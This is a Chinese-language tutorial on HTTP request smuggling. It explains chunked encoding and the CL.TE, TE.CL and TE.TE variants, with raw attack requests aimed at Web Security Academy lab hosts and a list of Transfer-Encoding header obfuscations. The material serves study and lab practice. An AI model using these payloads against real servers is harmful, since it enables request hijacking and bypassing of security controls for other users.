原理
HTTP 請求的請求體有2種判定方式
- 利用Content-Length字段來判定請求體的內容長度
- 利用Transfer-Encoding字段來判定請求體的結束位置
Content-Length
正常post請求,會帶上請求體(body),請求體有多長,Content-Length的值就是多少
Transfer-Encoding
Transfer-Encoding就是分塊傳輸的標志,它不靠Content-Length來告訴web服務器請求體有多長,而是靠0這個字符來代表分塊結束,之后還要換行2次(重點!!!)
- 分塊傳輸的格式
POST / HTTP/1.1
Host: acc71f601f1571b68080899c008a0074.web-security-academy.net
Content-Length: 5
Transfer-Encoding: chunked
3
aaa
5
aa
a
0
上面這行代表着分了3段,第一段是3個a,第二段是2個a和一個\r和一個\n再1個a,第三段是空
aaa上面的3是長度,表示第一段有3個字節,同理第二段加上換號就是5個字節,最后一段為空就0個字節,但最后有2個換行表示結束
再注意,長度是以16進制表示,即如下下面字節長度為27,則長度為1b
類型
請求走私攻擊包括將內容長度頭和傳輸編碼報頭進入單個HTTP請求並對這些請求進行操作,以便前端服務器和后端服務器處理請求的方式不同。具體的方式取決於這兩個服務器的行為:
- CL.TE:前端服務器使用內容長度頭和后端服務器使用傳輸編碼頭球。
- TE.CL:前端服務器使用傳輸編碼頭和后端服務器使用內容長度頭球。
- TE.TE:前端和后端服務器都支持傳輸編碼頭,但其中一台服務器可以通過某種方式混淆報頭,從而避免對其進行處理。
實際操作
//真實的數據包是這樣的
POST / HTTP/1.1
Host: acc71f601f1571b68080899c008a0074.web-security-academy.net
Content-Length: 3
Transfer-Encoding: chunked
1\r\n
G\r\n
0\r\n\r\n
CL.TE
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
因為是CL.TE(前端認定長度CL,后端認定分塊TE)
前端看到長度是6,就讀取6個字節,0\r\n\r\nG,將數據包全部發到后端
后端認定是分塊,讀到0\r\n就結束了,后端服務器的緩沖區里還留下了一個G,這個G就會留在緩沖區里(通常10s后會過期)和下一個請求拼接到一起
TE.CL
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
0
因為是TE.CL(前端認定是分塊TE,后端認定長度CL)
5c是十六進制的數據,轉為十進制為92,就是5c下面的數據包的長度
前端認為這是一個TE數據包,第一個數據塊的長度是5c(92),遇到0結束
所以會將整個數據包都發送給后端服務器處理
后端服務器認定CL,CL的長度是4,所以只截取到5c
5c明明是兩個字符為什么長度是4? 因為還有一個你看不到的\r\n
而下面的GPOST...會被后端認為是另一個http數據包
TE.TE
可能有無數種混淆Transfer-Encoding標頭的方法。例如:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
前端看到
Transfer-Encoding:chunked
Transfer-encoding:cow
認為這還是TE型的包,
但是后端服務器認為這不對勁,應該按照CL格式來看
參考:
https://www.cnblogs.com/linghu-java/p/11193886.html
https://www.jianshu.com/p/6173b56f15e0
https://www.cnblogs.com/sijidou/p/13121343.html